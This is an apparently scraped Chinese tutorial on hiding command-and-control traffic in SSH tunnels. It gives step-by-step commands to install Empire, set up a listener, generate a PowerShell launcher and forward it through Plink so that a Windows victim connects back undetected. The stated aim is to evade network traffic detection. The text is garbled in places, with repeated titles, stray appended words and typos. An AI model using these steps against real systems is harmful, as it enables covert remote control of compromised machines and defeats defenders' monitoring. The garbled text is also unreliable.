利用SSH隧道加密技术隐蔽C&C通讯流量

在网络攻防博弈中,网络流量特征分析类安全防护措施获得了普遍应用。众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采起防护措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防护方案。
1、背景简介

在网络攻防博弈中,网络流量特征分析类安全防护措施获得了普遍应用。众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采起防护措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防护方案。
本文想经过标准的SSH的端口转发创建SSH形式的加密隧道,用于加密、隐蔽传输恶意流量,从而避免经过流量检测发现恶意行为。复现实验部分以C&C通讯流量为例进入实验。经过SSH隧道进行加密和隐藏的C&C流量在外部流量特征分析仅表现为标准SSH流量。
利用SSH隧道加密技术隐蔽C&C通讯流量利用SSH隧道加密技术隐蔽C&C通讯流量linux

2、实验原理

本次实验使用Empire工具快速搭建C&C信道,本文只简要介绍对于Empire工具。在Windows平台下使用Plink.exe工具的SSH功能搭建SSH隧道。git

2.1 SSH隧道介绍

SSH 会自动加密和解密全部 SSH 客户端与服务端之间的网络数据。可是, SSH 还可以将其余 TCP 端口的网络数 据经过 SSH 连接来转发,而且自动提供了相应的加密及解密服务。这一过程也被叫作“隧道”( tunneling),这是因 为 SSH 为其余 TCP 连接提供了一个安全的通道来进行传输而得名。SSH隧道的实现主要使用SSH的参数配置进行端 口转发,即将所需传输的数据内容经过加密的SSH隧道进行转发。 SSH 端口转发可以提供两大功能:一、加密 SSH Client 端至 SSH Server 端之间的通信数据。二、突破防火墙的限制完成一些以前没法创建的 TCP 链接。
因为SSH的安全性,在数据跨越公网时其余人没法得知数据内容。SSH端口转发有本地转发、远程转发和动态端 口转发三种。本次实验主要以本地转发为例。github

本地转发主要使用SSH的 -L参数解释:

利用SSH隧道加密技术隐蔽C&C通讯流量利用SSH隧道加密技术隐蔽C&C通讯流量
(1) 第1部分,-L选项表示使用“本地转发”创建ssh隧道。“本地转发”表示本地的某个端口上的通信数据会被转发到目标主机的对应端口。
(2) 第2部分表示:通信数据会从本地的9906端口上被转发,最终被转发到10.1.0.2的3306端口。
(3) 第3部分表示:咱们建立的ssh隧道是链接到10.1.0.2上的root用户。shell

2.2 Empire工具简介

Empire是一个针对windows平台、提供从Stager生成到提取和渗透维持一系列功能齐全的渗透攻击框架,其最 大的特色是以PowerShell脚本做为攻击载荷,并且Empire实现了无需powerShell.exe就可运行PowerShell代理功 能,即它是一个纯粹的PowerShell后期漏洞利用代理工具。快速部署后期漏洞利用模块,内置模块有键盘记录、 Mimikatz、绕过UAC、内网扫描等等,而且可以适应通讯躲避网络检测和大部分安全防御工具的查杀,简单来讲 Empire相似于渗透神器Metasploit,是一个基于PowerShell的远程控制木马。ubuntu

2.2 Empire工具安装

在实验虚拟linux系统中安装windows

git clone https://github.com/EmpireProject/Empire.git #进入setup目录进行命令行安装 cd Empire cd setup sudo ./install.sh

安装成功后,确认Empire目录下全部文件(目录)以下图:
使用 ./empire启动Empire以下图,则成功安装。
利用SSH隧道加密技术隐蔽C&C通讯流量利用SSH隧道加密技术隐蔽C&C通讯流量安全

3、实验步骤

实验说明:使用两台虚拟机ubuntu16 + windows 7,其中ubuntu16模拟控制端,windows 7模拟受控主机。网络

3.1 在ubuntu系统上搭建SSH服务端

(1) 安装Open-SSH Server端框架

sudo apt-get install openssh-server

(2) 配置SSH Server端
编辑/etc/ssh/sshd_config文件中容许口令登陆PermitRootLogin配置以下图:
利用SSH隧道加密技术隐蔽C&C通讯流量利用SSH隧道加密技术隐蔽C&C通讯流量
(3) 测试SSH登陆是否成功
查看本机IP(linux命令:ifconfig),如在windows下的XShell工具下输入Server IP 输入登陆名和密码,成功登入系统则SSH Server端搭建成功。
注:须要重启sshd服务:/etc/init.d/ssh resar
(4) 配置RSA密钥对认证登陆
a) 生成rsa密钥对ssh

ssh-keygen -t rsa

b) 开启sshd支持RSA认证选项,并添加认证公钥路径地址
c) 编辑/etc/ssh/sshd_config文件中的PubkeyAuthentication选项配置为yes,即:
d) 复制公钥到某用户home目录下的.ssh文件夹下,注必须使用如下命令在受控主机(本次实验使用win 7进行模拟)进行复制,不然文件权限设置易出错。

ssh-copy-id -i id_rsa.pub 主机登陆用户名@192.168.81.137

e) 使用私钥进行登陆ssh登陆
ssh -i 私钥路径 主机登陆用户名@192.168.81.137
注:使用putty、winscp等工具时须要先使用对应平台工具进行rsa私钥导入后转化为相对应文件格式,如本次实验使用putty工具导入生成私钥文件sshrsa.ppk。

3.2 使用Empire工具生成PowerShell脚本备用

Empire工具相似Metasploit,详细使用教程可参考一篇文章精通PowerShell Empire。
本次实验使用Empire生成简单的PowerShell脚本,创建最简单的C&C通讯。下面简单归纳主要步骤。
(1) 设置监听
listeners #进入的界面下可输入list查看以设置的监听 uselistener http #输入 info查看必填参数 set Name 4444 #本次实验经过SSH隧道通讯,所以设置监听127.0.0.1:4444 set Port 4444 set Host 127.0.0.1 execute #建立命为4444的监听,监听127.0.0.1:4444上通讯数据
示例以下:
利用SSH隧道加密技术隐蔽C&C通讯流量利用SSH隧道加密技术隐蔽C&C通讯流量
(2) 生成简单的PowerShell利用脚本(针对windows)
launcher powershell 4444 # 4444为设置的监听名字 #可进入tagers生成其余木马、远控程序,本次实验直接生成最简单PowerShell利用脚本
注:生成的Powershell代码直接复制并保存,以备在受控windows主机(win七、win10)执行。

3.3 搭建SSH隧道

(1) windows下使用Plink.exe(putty工具集中能够在windows系统下使用命令行进行SSH链接)链接SSHServer
#须要首先进入Plink.exe文件所在路径 Plink.exe -ssh -l 登陆用户名 -pw 登陆密码 SSH主机IP
(2) Plink相关参数

-ssh 指定使用特定链接协议
-l 指定登陆用户名
-i 指定RSA私钥登陆
-L 本地转发

(3) Plink端口转发设计

plink.exe -ssh -i sshrsa.ppk am00n@192.168.81.137 -L 4444:192.168.81.137:4444

将本地端口(4444)转发到远程目标主机(192.168.81.137)的目标端口(4444)。
注意:以上命令执行成功后,须要保持命令行不要关闭。同时能够组合使用SSH的其余参数进行后台运行、不交互等。
(4) 使用(2)中生成的PowerShell脚本,使受控主机上线
a) windows 7虚拟机另外开启一个CMD窗口,复制PowerShell脚本执行。能够看到受控主机以上线。
5) ubuntu端切换到agents界面,list命令查看如图:
6) 经过interact命令则可使用以创建的控制信道控制受控主机,如经过简单的ls命令测试成功以下图:
7) 至此以成功使用SSH隧道传输C&C通讯流量,后续可在此基础上设计实现其余C&C控制命令及其它恶意功能。

4、总结

经过本次实验能够看出,攻击者能够利用相似SSH的公共服务或可用技术辅助攻击,且其实现也很是容易。

关键步骤总结:

(1) 搭建SSH服务,并配置为RSA私钥登陆(也能够配置为免密登陆)。(2) 使用工具(如Empire、Metasploit等)构建C&C。(3) 利用SSH的端口转发搭建SSH隧道。(4) 配置C&C和SSH参数使两者配合实现加密、隐藏恶意流量的目的。

相关文章
相关标签/搜索